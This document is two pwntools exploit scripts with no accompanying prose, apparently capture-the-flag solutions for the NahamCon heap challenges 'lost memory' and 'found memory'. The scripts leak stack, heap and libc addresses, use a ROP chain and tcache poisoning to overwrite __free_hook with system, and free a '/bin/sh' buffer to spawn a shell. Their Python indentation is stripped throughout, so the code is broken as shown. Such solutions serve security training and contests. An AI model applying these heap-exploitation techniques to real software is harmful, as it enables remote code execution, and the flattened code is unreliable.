lost memory
#!/usr/bin/env python3
from pwn import *
elf = ELF("./lost_memory_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = elf
context.terminal = ['tmux', 'splitw', '-hp', '70']
#context.log_level = "debug"
gs = '''
continue
'''
def start():
if args.REMOTE:
return remote("challenge.nahamcon.com", 30550)
if args.GDB:
return gdb.debug([elf.path], gdbscript=gs)
else:
return process([elf.path])
r = start()
def rcu(d1, d2=0):
r.recvuntil(d1, drop=True)
if (d2):
return r.recvuntil(d2,drop=True)
libcbase = lambda: log.info("libc base = %#x" % libc.address)
logleak = lambda name, val: log.info(name+" = %#x" % val)
sa = lambda delim, data: r.sendafter(delim, data)
sla = lambda delim, line: r.sendlineafter(delim, line)
sl = lambda line: r.sendline(line)
bc = lambda value: str(value).encode('ascii')
demangle_base = lambda value: value << 0xc
remangle = lambda heap_base, value: (heap_base >> 0xc) ^ value
rcu(b"choice:\n")
def alloc(size):
sl(b"1") # menu option
sla(b"What size would you like?", bc(size))
rcu(b"choice:\n")
def write_data(data):
sl(b"2") # menu option
sla(b"What would you like to write?", data)
rcu(b"choice:\n")
def select_index(index):
sl(b"3") # menu option
sla(b"(0 - 9)", bc(index))
rcu(b"choice:\n")
def free():
sl(b"4") # menu option
rcu(b"choice:\n")
def store_flag_ptr():
sl(b"5") # menu option
#rcu(b"choice:\n")
def exit_program():
sl(b"6") # menu option
#========= exploit here ===================
#rcu(b"choice:\n")
#gadgets
#0x0000000000401330: pop rsi; ret;
#0x00000000004017f1: pop rsi; pop r15; ret;
#0x0000000000401334: pop rdx; ret;
#0x000000000040132e: pop rdi; ret;
r.timeout = 1
#leak stack
alloc(0x88) #guard
free()
write_data(b"A")
free()
store_flag_ptr()
leak = int(rcu(b"eturn value: ", "\n"),16)
leak2 = int(rcu(b"eturn value: ", "\n"),16)
rcu(b"choice:\n")
logleak("stack leak", leak)
logleak("stack leak2", leak)
# ROP to leak
write_data(p64(leak+0x20)+p64(0)) #ret address
alloc(0x88)
alloc(0x88)
rop = ROP(elf)
payload = p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(elf.got.printf)
payload += p64(elf.sym.puts)
payload += p64(elf.sym.main)
write_data(payload)
#trigger ret
exit_program()
r.recvline()
#get libc leak
leak = u64(r.recvline().strip().ljust(8, b"\x00"))
libc.address = leak - libc.sym.printf
libcbase()
#tcache poison to get RCE by overwriting the free hook
alloc(0x98)
free()
write_data(b"A")
free()
write_data(p64(libc.sym.__free_hook)+p64(0)) #ret address
alloc(0x98)
alloc(0x98)
write_data(p64(libc.sym.system))
alloc(0x18)
write_data(b"/bin/sh\0")
sleep(0.2)
sl(b"4")
#========= interactive ====================
r.interactive()
Found memory
#!/usr/bin/env python3
from pwn import *
elf = ELF("./found_memory_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = elf
context.terminal = ['tmux', 'splitw', '-hp', '70']
#context.log_level = "debug"
gs = '''
continue
'''
def start():
if args.REMOTE:
return remote("challenge.nahamcon.com", 32396)
if args.GDB:
return gdb.debug([elf.path], gdbscript=gs)
else:
return process([elf.path])
r = start()
def rcu(d1, d2=0):
r.recvuntil(d1, drop=True)
if (d2):
return r.recvuntil(d2,drop=True)
libcbase = lambda: log.info("libc base = %#x" % libc.address)
logleak = lambda name, val: log.info(name+" = %#x" % val)
sa = lambda delim, data: r.sendafter(delim, data)
sla = lambda delim, line: r.sendlineafter(delim, line)
sl = lambda line: r.sendline(line)
bc = lambda value: str(value).encode('ascii')
demangle_base = lambda value: value << 0xc
remangle = lambda heap_base, value: (heap_base >> 0xc) ^ value
#========= exploit here ===================
rcu(b">")
r.timeout = 1
def alloc():
sl(b"1")
rcu(b">")
def free(index):
sl(b"2")
sla(b"Index to free: ", bc(index))
rcu(b">")
def view(index):
sl(b"3")
sla(b"Index to view: ", bc(index))
def edit(index, data):
sl(b"4")
sla(b"Index to edit: ", bc(index))
sa(b"Enter data: ", data)
#alloc chunks 24 is more than enough
for i in range(24):
alloc()
#heap leak
free(0)
free(1)
view(1)
leaks = r.recvline().strip()
rcu(b">")
heap = u64(leaks[:6].ljust(8,b"\x00")) - 0x2a0
logleak("heap",heap)
#libc leak
free(2)
edit(1, p8(0xd0))
alloc()
alloc()
alloc()
edit(2, p64(0)+p64(0x441))
free(1)
view(1)
leak = u64(r.recv(8))
logleak("libc leak", leak)
rcu(b">")
libc.address = leak - 0x1ecbe0
libcbase()
#tcache poison to get a shell by overwriting the free hook ( < glibc 2.31 )
free(19)
free(20)
edit(21, b"/bin/sh\0")
edit(20, p64(libc.sym.__free_hook))
alloc()
alloc()
edit(19, p64(libc.sym.system))
rcu(b">")
#shell
sl(b"2")
sla(b"free:",bc(21))
#========= interactive ====================
r.interactive()